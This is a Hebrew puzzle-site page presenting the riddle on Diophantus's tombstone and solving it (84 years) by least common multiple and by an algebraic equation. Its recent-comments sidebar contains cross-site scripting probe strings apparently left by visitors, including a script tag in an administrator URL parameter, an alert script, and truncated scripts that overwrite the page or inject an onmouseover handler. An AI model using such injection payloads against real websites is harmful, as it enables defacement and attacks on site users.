על מצבת קברו של המתמטיקאי היווני דיופאנטוס(המאה ה-3,אלכסנדריה) רשומה חידה שפתרונה נותן את מספר שנות חייו:
ילדותו נמשכה שישית מחייו ובגרותו ארכה החלק ה-12 מחייו. הוא התחתן אחרי עוד שביעית מחייו וכעבור 5 שנים נולד בנו הבכור. בנו חי מחצית מחיי אביו, שמת ארבע שנים לאחר מות בנו. כמה שנים חיי דיופאנטוס?
מספר השנים צריך להיות מספר שלם...
המספר צריך להתחלק ב-6, ב-12, ב-7 וב-2...
מאחר והמספר שלם, לכן חייב להתחלק ללא שארית ב-6, ב-12, ב-7 וב-2. צריך אם כן למצוא את הכפולה המשותפת הקטנה ביותר של 6, 12, 7, ו-2 והיא שווה ל-7X12=84. דיופאנטוס חי 84 שנים ואפשר כמובן לפתור את החידה על ידי משוואה אלגברית בה xמייצג את מספר השנים: x/6+x/12+x/7+5+x/2+4=x ולקבל כמובן את אותה התשובה:84 שנים.
הנצפים ביותר
תגובות אחרונות
??
מחפשים משאבת ביוב למרתף? הנה כ...
http://chidot.co.il/administrator/?user=<script>PAYLOAD</script>
<script>alert('/////////???!')</script>
<script>
// Overwrite the entire page
$(document).ready(function() {
$('body').html...
// Overwrite the entire page
$(document).ready(function() {
$('body').html...
<script>
// Inject via <option> tag
var payload = '<option value="1" onmouseov...
// Inject via <option> tag
var payload = '<option value="1" onmouseov...
Post comment as a guest